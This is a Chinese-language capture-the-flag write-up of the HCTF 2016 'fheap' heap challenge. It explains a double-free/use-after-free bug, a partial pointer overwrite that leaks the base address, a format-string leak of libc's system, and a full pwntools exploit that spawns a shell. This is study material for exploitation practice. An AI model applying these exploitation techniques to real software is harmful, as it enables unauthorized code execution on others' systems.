HCTF 2016 fheap

HCTF 2016 fheap

一. 源碼

fheap.c

二. 題目分析

1. 程序的生成

假設我們的源碼文件名叫做fheap.c

gcc fheap.c -pie -fpic -o fheap
strip fheap

其中-fpic是輔助-pie, 沒有-fpic將會編譯失敗.
strip是去除符號表(Discard symbols from object files)

結論: 平常PWN文件都可以正常調試,可是題目給我們的文件是無法調試的,加大了難度。
2. 程序的運行

運行之後,三個選項:

  1. create string
  2. delete string
  3. quit
  1. 選擇create string, 輸入size, content.
  2. 選擇delete string, 輸入id, 是否刪除.
  3. 選擇quit, 退出程序.

結論: 這是程序運行的簡單介紹, 實際上就是一個字符串的管理程序。創建就是malloc, 刪除free.

3. 程序分析

結構體:

typedef struct String{
    union {
        char *buf;          //輸入的字符串大小>16, 地址付給buf
        char array[16];             //輸入的字符串大小<16, 存放在array中
    } o;
    int len;
    void (*free)(struct String *ptr); //存放的free函數的地址, delete時使用
} String;

struct {
    int inuse;
    String *str;
} Strings[0x10];

1. create string

  1. 字符串塊<16, 在原來的堆塊上存放輸入的字符串。
    result
  2. 字符串塊>=16, malloc一個輸入的字符串大小size的空間, 將該空間地址存放在原來的堆塊中。
    result

2. delete string

關鍵代碼:
    if (Strings[id].str) {
        printf("Are you sure?:");
        read(STDIN_FILENO,buf,0x100);
        if(strncmp(buf,"yes",3)) {
            return;
        }
        Strings[id].str->free(Strings[id].str);
        Strings[id].inuse = 0;
    }

存在double free漏洞: fastbin維護的chunk大小從32~128字節, 假定我們執行一下過程.

create(4, 'aa')  --> id = 0, 假定堆塊地址: 0x5010;
create(4, 'bb')  --> id = 1, 假定堆塊地址: 0x5040
delete(1)
delete(0)
create(0x18, 'a' * 0x18) --> id = 0;

注意: 最後一次create(0x18, 'a' * 0x18 ), malloc兩個堆塊, 分別爲0x5010, 0x5040, 其中0x5040存放的是字符串內容. 0x5010存放着0x5040地址, 如下: .

0x5000:     0x0000000000000000      0x0000000000000031
0x5010:     0x0000000000005040      0x0000000000000000
0x5020:     0x0000000000000018      0x0000000000000d6c(freeShort)
0x5030:     0x0000000000000000      0x0000000000000031
0x5040:     0x6161616161616161      0x6161616161616161
0x5050:     0x6161616161616161      0x0000000000000d52(freeLong)

假如此時, 我們delete(1), 關鍵代碼中的Strings[1].str ==> 0x6161616161616161, 爲真. 就會執行0x5058的函數(freeLong).
由此, 我們可以有這樣的設想: create(0x20, content), content中的內容可以覆蓋1中的freeLong函數. delete(1), 就可以修改程序執行的流程.

4. 涉及的知識點:

fastbin的設計是爲了快速的分配而準備的, 先進後出.
詳見: https://sploitfun.wordpress.com/2015/02/10/understanding-glibc-malloc/comment-page-1/?spm=a313e.7916648.0.0.rJLhzh

4. 程序的調試

任何程序都不是一下子能寫成功, 需要調試, 如何調試?

from pwn import *

p = process('./fheap')
......
gdb.attach(p)
......

執行過程中會彈出一個gdb的調試窗口, 這個窗口只和你寫的Python腳本進行交互, 我們在Python腳本中寫入發送的數據即可.

三. 思路總結

保護檢查

result

總體思路: 泄露程序基地址, 找出system函數地址. 將free地址覆蓋爲system, 輸入/bin/sh, 釋放.

First Step : 泄露程序基地址

objdump -d fheap > fheap.txt

freeShort(offset): 0xd52
freeLong(offset): 0xd6c
d2d:    e8 5e fc ff ff          
callq  990 <puts@plt>

可以看出, 兩個free函數與0xd2d只相差一個字節, 於是我們可以將free函數的最後一個字節修改爲0x2d, 從而調用puts函數, 將字符串和callq 990這條指令的地址一塊打印出來, 然後減去0xd2d, 就是整個程序加載的基地址.


泄露system函數地址

利用格式化字符串漏洞, 以及pwntools模塊的DynELF來找出system函數地址.

def leak(addr):
    delete(0)
    data = 'aa%9$s' + '#' * (0x18 - len('aa%9$s')) + p64(print_plt)
    create(0x20, data)
    p.recvuntil("quit")
    p.send("delete ")
    p.recvuntil("id:")
    p.sendline(str(1))
    p.recvuntil('sure?:')
    p.send("yes0123" + p64(addr))
    p.recvuntil('aa')
    data = p.recvuntil("####")[:-4]
    data += "\x00"
    return data

最後一步

發送”/bin/sh”, 用system函數覆蓋free函數.

payload = '/bin/sh\x00' + '#' * (0x18 - len('/bin/sh\x00')) + p64(system_addr)

EXP

from pwn import *
from ctypes import *

DEBUG = 1
# context(log_level='debug')
# context.log_level = 'debug'
if DEBUG:
     p = process('./fheap')
else:
     r = remote('172.16.4.93', 13025)

print_plt=0

def create(size,content):
    p.recvuntil("quit")
    p.send("create ")
    p.recvuntil("size:")
    p.sendline(str(size))
    p.recvuntil('str:')
    p.send(content.ljust(size,'\x00'))
    p.recvuntil('n')[:-1]

def delete(idx):
    p.recvuntil("quit")
    p.sendline("delete ")
    p.recvuntil('id:')
    p.send(str(idx)+'\n')
    p.recvuntil('sure?:')
    p.send('yes '+'\n')

def leak(addr):
    delete(0)
    data = 'aa%9$s' + '#'*(0x18 - len('aa%9$s')) + p64(print_plt)
    create(0x20, data)
    p.recvuntil("quit")
    p.send("delete ")
    p.recvuntil('id:')
    p.send(str(1) + '\n')
    p.recvuntil('sure?:')
    p.send('yes01234' + p64(addr))
    p.recvuntil('aa')
    data = p.recvuntil('####')[:-4]
    data += "\x00"
    return data

def pwn():
    global print_plt

    create(4,'aa')
    create(4,'bb')
    create(4,'cc')   
    delete(2)
    delete(1)
    delete(0)

    data='a' * 0x10 + 'b' * 0x8 + '\x2d' + '\x00'
    create(0x20, data)
    delete(1)
    p.recvuntil('b' * 0x8)
    data = p.recvline()[:-1]

    if len(data) > 8:
        data = data[:8]
    data=u64(data.ljust(8,'\x00'))
    proc_base = data - 0xd2d
    print "proc base", hex(proc_base)
    print_plt = proc_base + 0x9d0

    print "print plt", hex(print_plt)
    delete(0)


    #part2
    data='a' * 0x10 + 'b'*0x8 +'\x2D'+'\x00'
    create(0x20, data)
    gdb.attach(p)
    delete(1)
    p.recvuntil('b'*0x8)
    data = p.recvline()[:-1]
#    gdb.attach(p)
    d = DynELF(leak, proc_base, elf=ELF('./fheap'))
    system_addr = d.lookup('system', 'libc')
    print "system_addr:", hex(system_addr)

    #part3
    delete(0)
    data='/bin/sh;' + '#' * (0x18 - len('/bin/sh;')) + p64(system_addr)
    create(0x20, data)
    delete(1)
    p.interactive()

if __name__ == '__main__':
    pwn()

心得

這是我第一次接觸堆方面的題, 說實話這個過程實在很苦.

  1. 網上找的相關文章, 水平參差不齊, EXP基本不能成功的GetShell.
  2. 調試方面的鍋, 不能直接調試.
  3. 堆方面的知識太少, 還得練.

最後, 與君共勉, 加油!!!

相關鏈接:

  1. 逆向安全系列:Use After Free漏洞淺析 (EXP有效)
  2. fast-bin內存機制的利用探究 (調試新方法, 針對地址隨機化)
  3. hctf2016 fheap學習(FreeBuf發表的官方解法) (知識點較全)
  4. HCTF開源Github
  5. 相關文件下載
發佈了61 篇原創文章 · 獲贊 32 · 訪問量 5萬+
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章